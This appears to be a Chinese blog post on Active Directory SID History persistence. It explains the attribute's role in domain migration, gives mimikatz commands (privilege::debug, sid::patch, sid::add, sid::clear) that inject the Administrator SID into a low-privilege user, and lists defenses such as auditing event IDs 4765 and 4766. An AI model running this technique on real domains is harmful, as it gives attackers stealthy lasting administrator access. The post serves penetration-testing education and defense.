1 SID 作用

​ 每个用户都有自己的SID,SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限,SID History是在域迁移过程中需要使用的一个属性。

​ 如果A域中的域用户迁移到B域中,那么该用户的SID值就会改变,进而其权限也会改变。导致迁移后的用户无法访问以前可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,如果迁移后用户的SID值改变,系统会将原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikatz可以将SID History属性添加到任意用户的SID History属性中。在渗透测试中,如果获得了域管理员权限(或者等同于域管理员权限),就可以将SID History作为实现持久化的方法。

2 利用 SID History 操作过程

  1. 使用域管理员权限的 Poweshell 查看 tester 用户的 SID History 属性

    Import-Module ActiveDirectory
    Get-ADUser tester -Properties sidhistory
  2. 在域管理员权限的命令行窗口打开 mimikatz,将 Administrator 的 SID 添加到恶意用户 tester 的 SID History 属性中

    # 将高权限的 SID History 属性注入
    privilege::debug
    # 注入SID之前需要使用以下命令修复NTDS服务,否则无法将高权限的SID注人低权限用户的SID History属性;
    sid::patch
    sid::add /sam:tester /new:administrator # 查看 tester 用户的 SID History 属性
    Get-ADUser tester -Properties sidhistory # 清除恶意用户的 SID History 属性
    sid::clear /sam:username

3 SID History 权限维持的防御

  1. 经常查看域用户中SID为500的用户。
  2. 完成域迁移工作后,对有相同SID History属性的用户进行检查
  3. 定期检查ID为4765和4766的日志。4765为将 SID Histtory属性添加到用户的日志。4766为将SID History属性添加到用户失败的日志。

最新文章

  1. VisualSVN5.0.1补丁原创发布
  2. zigbee学习之路(十):串口(接收)
  3. ExtJs
  4. Manipulating Data Structures
  5. 泛型之Dictionary
  6. [dts]Device Tree机制
  7. c#中判断对象为空的几种方式(字符串等)
  8. jQuery cookie插件保存用户登陆信息
  9. Daject初探之Record模型
  10. Robot Framework 学习笔记(二)-------第一个脚本
  11. Jenkins + Github持续集成构建Docker容器,维基百科&人工自能(AI)模块
  12. querySelectorAll选择器的js实现
  13. Flask框架整理
  14. webkitAnimationEnd动画事件
  15. python基础学习9----深浅拷贝
  16. 学习笔记之Elasticsearch
  17. framework4.0 IIS配置支持ashx
  18. JavaSE基础之封装
  19. nyoj138 哈希的简单应用(查找)
  20. iOS开发之弹出输入框

热门文章

  1. MathNet用到的一些功能
  2. Doris安装部署
  3. python语法之注释
  4. 基于.NetCore开发博客项目 StarBlog - (21) 开始开发RESTFul接口
  5. 运维、监控、AIOps的几个重要观点
  6. adb环境配置及常用命令
  7. 宝塔渗透之msf代理入侵
  8. 【开源】基于.net6+gtksharp实现的Linux下的图形界面串口调试工具
  9. [cocos2d-x]从源码角度思考convertToWorldSpace()与convertToWorldSpaceAR()坐标系的转换
  10. 全志R528 系统繁忙时触摸屏I2C报错问题。